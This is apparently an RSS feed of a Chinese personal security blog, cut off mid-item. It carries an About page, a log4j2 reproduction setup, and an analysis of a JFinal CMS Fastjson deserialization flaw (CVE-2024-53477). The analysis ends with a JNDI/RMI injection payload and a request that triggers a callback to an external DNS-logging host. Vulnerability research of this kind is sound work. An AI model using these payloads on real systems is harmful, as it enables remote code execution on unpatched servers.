<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>168's blog</title><link>http://blog.foreverwl.top/</link><description>Recent content on 168's blog</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Sun, 01 Nov 2026 17:03:10 +0800</lastBuildDate><atom:link href="http://blog.foreverwl.top/index.xml" rel="self" type="application/rss+xml"/><item><title>关于</title><link>http://blog.foreverwl.top/about/</link><pubDate>Wed, 19 Aug 2026 00:00:00 +0000</pubDate><guid>http://blog.foreverwl.top/about/</guid><description>&lt;p&gt;这里是 &lt;strong&gt;168 的博客&lt;/strong&gt;，使用 &lt;a href="https://gohugo.io/"&gt;Hugo&lt;/a&gt; 搭建。&lt;/p&gt;&#10;&lt;p&gt;学习记录、日常分享、电子记忆。&lt;/p&gt;&#10;&lt;p&gt;欢迎成为我的 &lt;a href="http://blog.foreverwl.top/friends/"&gt;朋友&lt;/a&gt;，一起交换链接。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="关于我"&gt;&#10; 关于我&lt;a class="heading-anchor" href="#%e5%85%b3%e4%ba%8e%e6%88%91" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;你好朋友，可能是我小时候接触计算机比较早的缘故，对计算机产生了兴趣(主要是当时热衷于打游戏，哈哈)，当时网络还不是很普及，网上有一些很屌的技术，然后就对一些网络技术产生了兴趣(一些外挂啥的),当时也自学了一段时间，但是由于年龄和时间的原因，还有接受能力的问题，只是一个小白，后来就开启了考学的生活，接触时间更苛刻了，当时已经调起我的兴趣了。后来高考结束，我选择了信息安全专业，主要接触网络安全，正式开启了我的学习生涯。&#10;当然我也有一些爱好，对音乐也比较感兴趣，并且在初三毕业时去学习了吉他，喜欢摇滚，民谣，后朋克，并且到现在一直保持着热爱。当然，我也喜欢游戏，但是现在不玩了(我的内心告诉我不能去玩)，时间的问题。&#10;与其他平台博客不一样的，搭建这个博客，主要为了记录不止学习，还有生活上的一些记录，有学习笔记的记录、有生活上的吐槽和感受、有日常图片的分享、有技术上的自己的思考。一切想要分享的都会发布在此站上。&#10;这些就是我的介绍和建站的原因，也是我分享生活的方式。很高兴能在这遇见你，我的远方的朋友，祝你前程似锦&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="关于本站"&gt;&#10; 关于本站&lt;a class="heading-anchor" href="#%e5%85%b3%e4%ba%8e%e6%9c%ac%e7%ab%99" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;2023-2026 托管在Halo&lt;/li&gt;&#10;&lt;li&gt;2026-至今 使用hugo静态托管在GitHub&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10;&#10;&#10;&lt;h2 id="联系方式"&gt;&#10; 联系方式&lt;a class="heading-anchor" href="#%e8%81%94%e7%b3%bb%e6%96%b9%e5%bc%8f" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;：https://github.com/t4everup/&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;邮箱&lt;/strong&gt;：168@foreverwl.top&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;QQ&lt;/strong&gt;: 977105482&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;RSS 订阅&lt;/strong&gt;：&lt;a href="http://blog.foreverwl.top/index.xml"&gt;/index.xml&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;blockquote&gt;&#10; &lt;p&gt;内容还在慢慢补充中，敬请期待。&lt;/p&gt;&#10;&#10;&lt;/blockquote&gt;</description></item><item><title>log4j2搭建复现探究</title><link>http://blog.foreverwl.top/blog/log4j2%E6%8E%A2%E7%A9%B6/</link><pubDate>Sun, 16 Feb 2025 15:12:14 +0800</pubDate><guid>http://blog.foreverwl.top/blog/log4j2%E6%8E%A2%E7%A9%B6/</guid><description>&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;log4j2应该是在21年左右爆出来的漏洞，影响甚大，当时只要用了apache log4j的这个组件，那么很可能就存在潜在危险了。之前也遇见过这个漏洞，当时是直接网上一搜直接用的，今天来分析一下这个漏洞。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="漏洞简介"&gt;&#10; 漏洞简介&lt;a class="heading-anchor" href="#%e6%bc%8f%e6%b4%9e%e7%ae%80%e4%bb%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Apache log4j是基于java的日志工具。开发者留了递归解析的功能，使用者可以引用配置中的属性，或传递给底层组件并动态解析，然而就在这，导致可能攻击者构造恶意请求，触发rce。&lt;/p&gt;&#10;&lt;p&gt;版本影响 2.0 &amp;lt;= Apache log4j &amp;lt;= 2.14.1 需要引入 log4j-api , log4j-core 两个jar&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="环境搭建"&gt;&#10; 环境搭建&lt;a class="heading-anchor" href="#%e7%8e%af%e5%a2%83%e6%90%ad%e5%bb%ba" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;创建maven项目 pom.xml如下&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;project&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://maven.apache.org/POM/4.0.0&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;xmlns:xsi=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://www.w3.org/2001/XMLSchema-instance&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;xsi:schemaLocation=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;modelVersion&amp;gt;&lt;/span&gt;4.0.0&lt;span class="nt"&gt;&amp;lt;/modelVersion&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.example&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;log4j_re&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;packaging&amp;gt;&lt;/span&gt;war&lt;span class="nt"&gt;&amp;lt;/packaging&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;1.0-SNAPSHOT&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;log4j_re Maven Webapp&lt;span class="nt"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;url&amp;gt;&lt;/span&gt;http://maven.apache.org&lt;span class="nt"&gt;&amp;lt;/url&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;dependencies&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;junit&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;junit&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;3.8.1&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;scope&amp;gt;&lt;/span&gt;test&lt;span class="nt"&gt;&amp;lt;/scope&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c"&gt;&amp;lt;!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.apache.logging.log4j&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;log4j-api&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;2.14.1&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c"&gt;&amp;lt;!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.apache.logging.log4j&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;log4j-core&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;2.14.1&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.apache.tomcat.embed&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;tomcat-embed-core&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;9.0.83&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/dependencies&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;build&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;finalName&amp;gt;&lt;/span&gt;log4j_re&lt;span class="nt"&gt;&amp;lt;/finalName&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/build&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/project&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们创建一个BaseServlet重写 doGet 和doPost&lt;/p&gt;</description></item><item><title>JFinal CMS 5.1.0 命令执行漏洞分析(CVE-2024-53477)</title><link>http://blog.foreverwl.top/blog/jfinal-cms-5.1.0-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90cve-2024-53477/</link><pubDate>Sun, 29 Dec 2024 11:44:19 +0800</pubDate><guid>http://blog.foreverwl.top/blog/jfinal-cms-5.1.0-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90cve-2024-53477/</guid><description>&lt;h1 id="jfinal-cms-510-命令执行漏洞分析cve-2024-53477"&gt;&#10; JFinal CMS 5.1.0 命令执行漏洞分析(CVE-2024-53477)&lt;a class="heading-anchor" href="#jfinal-cms-510-%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90cve-2024-53477" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h1&gt;&#10;&#10;&#10;&#10;&lt;h2 id="环境搭建"&gt;&#10; 环境搭建&lt;a class="heading-anchor" href="#%e7%8e%af%e5%a2%83%e6%90%ad%e5%bb%ba" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/jflyfox/jfinal_cms.git&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;拉取5.1.0版本。&lt;/p&gt;&#10;&lt;p&gt;Tomcat 9.0.96&#10;JDK 17.0.1&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291810574.png" alt="image-20241229181056450" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291810574.png" alt="image-20241229181056450"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="漏洞简述"&gt;&#10; 漏洞简述&lt;a class="heading-anchor" href="#%e6%bc%8f%e6%b4%9e%e7%ae%80%e8%bf%b0" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;在这个版本，Maven中使用了Fastjson1.2.62版本，该版本存在反序列化漏洞。而正好这个版本存在一个可控的parseObject&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="漏洞分析"&gt;&#10; 漏洞分析&lt;a class="heading-anchor" href="#%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;因为是Fastjson漏洞，全局搜索parseObject&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291813200.png" alt="image-20241229181359145" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291813200.png" alt="image-20241229181359145"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我们跟进到&lt;code&gt;com.jflyfox.api.form.ApiForm#getParams&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291814679.png" alt="image-20241229181440636" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291814679.png" alt="image-20241229181440636"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里对params使用了parseObject，而这个params是p而来的，看p&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291816116.png" alt="image-20241229181602069" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291816116.png" alt="image-20241229181602069"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;p就是ApiForm的一个属性。现在找哪里用了&lt;code&gt;getParams&lt;/code&gt;&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-4" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291817569.png" alt="image-20241229181704540" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-4" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291817569.png" alt="image-20241229181704540"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;为这几个，继续往上找；发现这几个方法都会在&lt;code&gt;ApiV100Logic&lt;/code&gt;或者&lt;code&gt;BaseApiLogic&lt;/code&gt;中被调用,且&lt;code&gt;ApiV100Logic&lt;/code&gt;继承&lt;code&gt;BaseApiLogic&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;我们看&lt;code&gt;com.jflyfox.api.service.impl.ApiV100Logic#&lt;/code&gt;里面很多方法都能够触发&lt;code&gt;com.jflyfox.api.form.ApiForm#&lt;/code&gt;中的&lt;code&gt;get&lt;/code&gt;方法,那么就能调用到&lt;code&gt;com.jflyfox.api.form.ApiForm#getParams&lt;/code&gt;&#10;现在去找怎么调用到&lt;code&gt;com.jflyfox.api.service.impl.ApiV100Logic#&lt;/code&gt;中的方法。&lt;/p&gt;&#10;&lt;p&gt;去找controller，去看&lt;code&gt;com.jflyfox.api.controller.ApiController#action&lt;/code&gt;的具体实现；&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-5" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291826842.png" alt="image-20241229182611780" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-5" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291826842.png" alt="image-20241229182611780"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里很关键，这能返回一个IApiLogic类型的实例，通过反射调用接口；跟进到&lt;code&gt; ReflectionUtils.invokeMethod&lt;/code&gt;&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-6" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291829257.png" alt="image-20241229182915206" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-6" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291829257.png" alt="image-20241229182915206"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里通过反射调用方法；我们传入IApiLogic实例然后加一个方法就进入了&lt;code&gt;ApiV100Logic&lt;/code&gt;；这里以&lt;code&gt;article&lt;/code&gt;为例，&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-7" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291831924.png" alt="image-20241229183121892" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-7" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291831924.png" alt="image-20241229183121892"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里调用了&lt;code&gt;ApiForm.getInt&lt;/code&gt;&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-8" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291832780.png" alt="image-20241229183236733" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-8" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291832780.png" alt="image-20241229183236733"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;形成闭环了。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{ &amp;#34;@type&amp;#34;:&amp;#34;org.apache.xbean.propertyeditor.JndiConverter&amp;#34;, &amp;#34;AsText&amp;#34;:&amp;#34;rmi://127.0.0.1:1099/exploit&amp;#34;}&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;api/action?version=1.0.0&amp;amp;method=article&amp;amp;p=%7B%22%40type%22%3A%22java.net.Inet4Address%22%2C%22val%22%3A%2285p4wv.ceye.io%22%7D&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h2 id="调试过程"&gt;&#10; 调试过程&lt;a class="heading-anchor" href="#%e8%b0%83%e8%af%95%e8%bf%87%e7%a8%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-9" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291835640.png" alt="image-20241229183510574" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-9" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291835640.png" alt="image-20241229183510574"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-10" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291835477.png" alt="image-20241229183531407" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-10" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202412291835477.png" alt="image-20241229183531407"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>国光ssrf靶场--打穿内网</title><link>http://blog.foreverwl.top/blog/%E5%9B%BD%E5%85%89ssrf%E9%9D%B6%E5%9C%BA%E6%89%93%E7%A9%BF%E5%86%85%E7%BD%91/</link><pubDate>Sat, 09 Nov 2024 05:21:00 